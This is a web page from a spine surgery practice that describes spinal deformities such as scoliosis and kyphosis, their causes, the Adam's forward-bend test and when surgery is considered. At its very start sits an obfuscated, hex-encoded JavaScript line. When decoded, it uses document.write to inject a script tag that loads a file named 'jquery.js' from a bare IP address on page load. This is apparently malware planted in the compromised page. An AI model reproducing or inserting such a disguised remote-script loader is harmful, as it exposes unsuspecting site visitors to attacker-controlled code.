var _0xaae8=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0xaae8[5]](_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]](_0xaae8[0])); Spinal deformity | Spine Surgery Pune

The common spinal deformities in spine are

  • Scoliosis : lateral bending of spine
  • Kyphosis : forward bending of spine


  • Congenital: defective formation of vertebral body
  • Idiopathic: definitive cause is not known
  • Neuromuscular: underlying cause is a in conditions affecting nervous tissue or muscles leading to scoliosis eg. poliomyelitis, cerebral palsy, spina bifida etc
  • Neurofibromatosis
  • Collagen vascular disease

Scoliosis can be detected early by a simple test called “Adam’s sign”. The patient is asked to bend forward. A prominence of ribs is seen on one side called rib hump. Scoliosis patients need regular monitoring with serial x-rays. Angles are measured to determine the severity of scoliosis. Surgery is considered once the angle is above 40 degrees. Surgery involves correction of the curve using metalware to obtain a purchase in the vertebrae. This can be performed from the anterior or posterior side. Surgical correction is done along with fusion so that the deformity does not progress.